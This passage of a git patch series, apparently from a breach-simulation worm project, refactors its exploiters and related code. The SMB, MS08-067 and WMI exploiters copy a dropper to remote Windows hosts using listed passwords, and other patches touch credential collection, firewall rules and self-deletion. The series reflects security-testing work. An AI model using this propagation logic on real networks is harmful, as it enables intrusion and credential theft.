self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index 717810bf9..d3b27f79d 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index b29012d47..85086bce7 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 0db4be6ef..0f9b2ee4c 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index a38d04dde..1065cf257 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -243,7 +243,7 @@ class InfectionMonkey(object): self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not self._upgrading_to_64: + and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From fcb5b8f85d91ddf831fb22f8c09c05ed035e9b1f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 11:28:59 +0300 Subject: [PATCH 21/35] Fix CR --- common/network/{range.py => network_range.py} | 4 ++-- infection_monkey/network/info.py | 2 +- infection_monkey/network/network_scanner.py | 2 +- infection_monkey/requirements.txt | 1 + 4 files changed, 5 insertions(+), 4 deletions(-) rename common/network/{range.py => network_range.py} (97%) diff --git a/common/network/range.py b/common/network/network_range.py similarity index 97% rename from common/network/range.py rename to common/network/network_range.py index 31a88e0df..b7ca686aa 100644 --- a/common/network/range.py +++ b/common/network/network_range.py @@ -15,7 +15,7 @@ class NetworkRange(object): self._shuffle = shuffle def get_range(self): - return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips + return self._get_range() def __iter__(self): base_range = self.get_range() @@ -66,7 +66,7 @@ class CidrRange(NetworkRange): return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - return [CidrRange._ip_to_number(str(x)) for x in self._ip_network] + return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address] class IpRange(NetworkRange): diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index da30e7b0f..7c208dce4 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -8,7 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint -from common.network.range import CidrRange +from common.network.network_range import CidrRange def get_host_subnets(): diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7837e36c3..563b04b6d 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -3,7 +3,7 @@ import time from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from common.network.range import * +from common.network.network_range import * from model import VictimHost from . import HostScanner diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 2c96e311c..bd7689886 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ ecdsa netifaces mock nose +ipaddress \ No newline at end of file From 148684d78fef412fd9e88c56b2859a8b5c9c0d91 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 19:07:03 +0300 Subject: [PATCH 22/35] Fixed most CR --- infection_monkey/config.py | 2 +- infection_monkey/control.py | 21 ++++++++++----- infection_monkey/dropper.py | 9 +++---- infection_monkey/monkey.py | 38 ++++++++++++++++------------ infection_monkey/windows_upgrader.py | 18 ++++++------- monkey_island/cc/services/config.py | 6 +++-- 6 files changed, 55 insertions(+), 39 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 404dc194e..b9c3c8595 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -6,7 +6,7 @@ import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 12f0cb754..0a32aa8b9 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -4,6 +4,7 @@ import platform from socket import gethostname import requests +from requests.exceptions import ConnectionError import monkeyfs import tunnel @@ -59,9 +60,11 @@ class ControlClient(object): if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) + current_server = "" + for server in WormConfiguration.command_servers: try: - WormConfiguration.current_server = server + current_server = server debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: @@ -70,23 +73,29 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) + WormConfiguration.current_server = current_server break - except Exception as exc: - WormConfiguration.current_server = "" + except ConnectionError as exc: + current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) - if not WormConfiguration.current_server: - if not ControlClient.proxies: + if current_server: + return True + else: + if ControlClient.proxies: + return False + else: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.find_server() + return ControlClient.find_server() else: LOG.info("No tunnel found") + return False @staticmethod def keepalive(): diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 927ea7cf6..1e6bf2048 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -38,7 +38,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -56,7 +56,7 @@ class MonkeyDrops(object): return # we copy/move only in case path is different - file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) @@ -108,9 +108,8 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - depth = int(self.opts.depth) if self.opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, depth) + monkey_options =\ + build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 1065cf257..e9794355d 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -48,14 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth: - WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -71,9 +70,9 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if firewall.is_enabled(): - firewall.add_firewall_rule() - ControlClient.find_server(default_tunnel=self._default_tunnel) + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -89,6 +88,9 @@ class InfectionMonkey(object): LOG.info("Marked not alive from configuration") return + if firewall.is_enabled(): + firewall.add_firewall_rule() + monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() @@ -227,21 +229,27 @@ class InfectionMonkey(object): LOG.info("Monkey cleanup started") self._keep_running = False - # Signal the server (before closing the tunnel) - if not self._upgrading_to_64: - ControlClient.send_telemetry("state", {'done': True}) + if self._upgrading_to_64: + InfectionMonkey.close_tunnel() + firewall.close() + else: + ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + InfectionMonkey.close_tunnel() + firewall.close() + self._singleton.unlock() - # Close tunnel + InfectionMonkey.self_delete() + LOG.info("Monkey is shutting down") + + @staticmethod + def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) - firewall.close() - - if not self._upgrading_to_64: - self._singleton.unlock() - + @staticmethod + def self_delete(): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: @@ -257,5 +265,3 @@ class InfectionMonkey(object): os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) - - LOG.info("Monkey is shutting down") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index c63b64524..996e2a856 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -3,6 +3,7 @@ import os import struct import subprocess import sys +import shutil import time @@ -23,9 +24,11 @@ else: class WindowsUpgrader(object): + __UPGRADE_WAIT_TIME__ = 3 + @staticmethod def is_64bit_os(): - return os.environ.has_key('PROGRAMFILES(X86)') + return 'PROGRAMFILES(X86)' in os.environ @staticmethod def is_64bit_python(): @@ -44,13 +47,10 @@ class WindowsUpgrader(object): def upgrade(opts): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: - written_monkey_file.write(monkey_bin) + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - depth = int(opts.depth) if opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth) + monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options @@ -62,6 +62,6 @@ class WindowsUpgrader(object): LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) - time.sleep(3) + time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: - LOG.warn("Seems like monkey died too soon") + LOG.error("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 3001ed768..82e536c24 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -444,13 +444,15 @@ SCHEMA = { "title": "Dropper target path on Windows (32bit)", "type": "string", "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" }, "dropper_try_move_first": { "title": "Try to move first", From 86d802882a2e18a4205716ed3b628ea3c793ba90 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 20:59:23 +0300 Subject: [PATCH 23/35] Fix race-condition bug on upgrade --- infection_monkey/main.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/infection_monkey/main.py b/infection_monkey/main.py index 6bdef408c..51fd6b9f7 100644 --- a/infection_monkey/main.py +++ b/infection_monkey/main.py @@ -91,7 +91,12 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - os.remove(log_path) + # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. + try: + os.remove(log_path) + except OSError: + pass LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['root']['handlers'].append('file') else: From 1407ab3969b513485f8faba04d8949e95a143055 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 21:09:06 +0300 Subject: [PATCH 24/35] Fix last CR comments --- infection_monkey/utils.py | 13 +++++++++++++ infection_monkey/windows_upgrader.py | 19 +++---------------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index d95407341..baef2372a 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import struct from config import WormConfiguration @@ -12,3 +13,15 @@ def get_monkey_log_path(): def get_dropper_log_path(): return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ else WormConfiguration.dropper_log_path_linux + + +def is_64bit_os(): + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 996e2a856..38cb3a479 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,6 +1,4 @@ import logging -import os -import struct import subprocess import sys import shutil @@ -12,6 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS +from utils import is_windows_os, is_64bit_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -26,22 +25,10 @@ else: class WindowsUpgrader(object): __UPGRADE_WAIT_TIME__ = 3 - @staticmethod - def is_64bit_os(): - return 'PROGRAMFILES(X86)' in os.environ - - @staticmethod - def is_64bit_python(): - return struct.calcsize("P") == 8 - - @staticmethod - def is_windows_os(): - return sys.platform.startswith("win") - @staticmethod def should_upgrade(): - return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ - and not WindowsUpgrader.is_64bit_python() + return is_windows_os() and is_64bit_os() \ + and not is_64bit_python() @staticmethod def upgrade(opts): From 7eb2a5c98b26697a29870f051e04eb3fb0840c64 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 14:57:22 +0300 Subject: [PATCH 25/35] Remove class C limitation when getting local subnet --- infection_monkey/network/info.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 7c208dce4..179befd4f 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -143,10 +143,7 @@ def get_interfaces_ranges(): netmask_str = net_interface['netmask'] ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only - if ip_interface.network.num_addresses > 255: - res.append(CidrRange(cidr_range="%s/24" % (address_str, ))) - else: - res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) + res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res From 84a678ba5a6e09b0960f34d69198bc8be60c7d16 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 15:53:31 +0300 Subject: [PATCH 26/35] Bugfix in creating IpRange object + clearer error message --- common/network/network_range.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index b7ca686aa..66910ff0d 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -75,24 +75,24 @@ class IpRange(NetworkRange): if ip_range is not None: addresses = ip_range.split('-') if len(addresses) != 2: - raise ValueError('Illegal IP range format: %s' % ip_range) + raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] - if self._higher_end_ip < self._lower_end_ip: - raise ValueError('Higher end IP is smaller than lower end IP: %s' % ip_range) elif (lower_end_ip is not None) and (higher_end_ip is not None): - self._lower_end_ip = lower_end_ip - self._higher_end_ip = higher_end_ip + self._lower_end_ip = lower_end_ip.strip() + self._higher_end_ip = higher_end_ip.strip() else: raise ValueError('Illegal IP range: %s' % ip_range) - self._lower_end_ip_num = IpRange._ip_to_number(self._lower_end_ip) - self._higher_end_ip_num = IpRange._ip_to_number(self._higher_end_ip) + self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) + self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) + if self._higher_end_ip_num < self._lower_end_ip_num: + raise ValueError('Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip,self._higher_end_ip)) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) def is_in_range(self, ip_address): - return self._lower_end_ip_num <= IpRange._ip_to_number(ip_address) <= self._higher_end_ip_num + return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num def _get_range(self): return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) From a77044dbf015b45feb0ead16bc095fcbe018d4dc Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 15:58:58 +0300 Subject: [PATCH 27/35] Add quick documentation for get_range and __iter__ in base class --- common/network/network_range.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index 66910ff0d..0173b5810 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -15,9 +15,17 @@ class NetworkRange(object): self._shuffle = shuffle def get_range(self): + """ + :return: Returns a sequence of IPs in an internal format (might be numbers) + """ return self._get_range() def __iter__(self): + """ + Iterator of ip addresses (strings) from the current range. + Use get_range if you want it in one go. + :return: + """ base_range = self.get_range() if self._shuffle: random.shuffle(base_range) @@ -86,7 +94,8 @@ class IpRange(NetworkRange): self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: - raise ValueError('Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip,self._higher_end_ip)) + raise ValueError( + 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip)) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) From 3e859d84fb0bf27e0acfa5a6b45c5fc78ea63fbb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 17:57:21 +0300 Subject: [PATCH 28/35] Rename check for 64-bit to make explict it's a windows only check --- infection_monkey/utils.py | 6 +++++- infection_monkey/windows_upgrader.py | 4 ++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index baef2372a..e2f66bd03 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -15,7 +15,11 @@ def get_dropper_log_path(): else WormConfiguration.dropper_log_path_linux -def is_64bit_os(): +def is_64bit_windows_os(): + ''' + Checks for 64 bit Windows OS using environment variables. + :return: + ''' return 'PROGRAMFILES(X86)' in os.environ diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 38cb3a479..cbd879c15 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_os, is_64bit_python +from utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -27,7 +27,7 @@ class WindowsUpgrader(object): @staticmethod def should_upgrade(): - return is_windows_os() and is_64bit_os() \ + return is_windows_os() and is_64bit_windows_os() \ and not is_64bit_python() @staticmethod From 3fe6d2456b51d01a2dbfb33992743fcd5ad43bfb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 11:27:35 +0300 Subject: [PATCH 29/35] Bugfix when upgrading the monkey without admin permissions. Can happen during development or future exploit flows --- infection_monkey/windows_upgrader.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index cbd879c15..4ee0462c5 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -32,10 +32,14 @@ class WindowsUpgrader(object): @staticmethod def upgrade(opts): - monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) - with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: - shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + try: + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + except (IOError, AttributeError): + LOG.error("Failed to download the Monkey to the target path.") + return monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) From ca65be894669c10aaec4e22731603922a37af3ca Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 11:33:14 +0300 Subject: [PATCH 30/35] Additional edge case in parsing Azure configuration files --- infection_monkey/system_info/azure_cred_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py index ad7db0307..3b1127e44 100644 --- a/infection_monkey/system_info/azure_cred_collector.py +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -96,7 +96,7 @@ class AzureCollector(object): except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") return None - except (KeyError, ValueError): + except (KeyError, ValueError, IndexError): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: From 20c7fef0e82feb6a6b3c94a5a62440bfbf13fe14 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 12:32:46 +0300 Subject: [PATCH 31/35] Fix possible bug when handling passwords with unicode characters --- monkey_island/cc/resources/telemetry.py | 5 +- monkey_island/cc/ui/package-lock.json | 4566 +++++++++++++++++++++-- monkey_island/cc/ui/package.json | 31 +- 3 files changed, 4242 insertions(+), 360 deletions(-) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index d7b21035c..33a11fe58 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -190,7 +190,8 @@ class Telemetry(flask_restful.Resource): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: - creds[user][field] = encryptor.enc(creds[user][field]) + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) @staticmethod def add_system_info_creds_to_config(creds): @@ -221,4 +222,4 @@ TELEM_PROCESS_DICT = \ 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, 'trace': Telemetry.process_trace_telemetry - } \ No newline at end of file + } diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 8acd6e3e6..57cdfdc01 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -152,7 +152,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", "dev": true }, "array-find-index": { @@ -237,9 +237,9 @@ } }, "assert-plus": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz", - "integrity": "sha1-104bh+ev/A24qttwIfP+SBAasjQ=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", "dev": true }, "assertion-error": { @@ -281,15 +281,15 @@ } }, "aws-sign2": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz", - "integrity": "sha1-FDQt0428yU0OW4fXY81jYSwOeU8=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", "dev": true }, "aws4": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", - "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.7.0.tgz", + "integrity": "sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", "dev": true }, "babel-code-frame": { @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 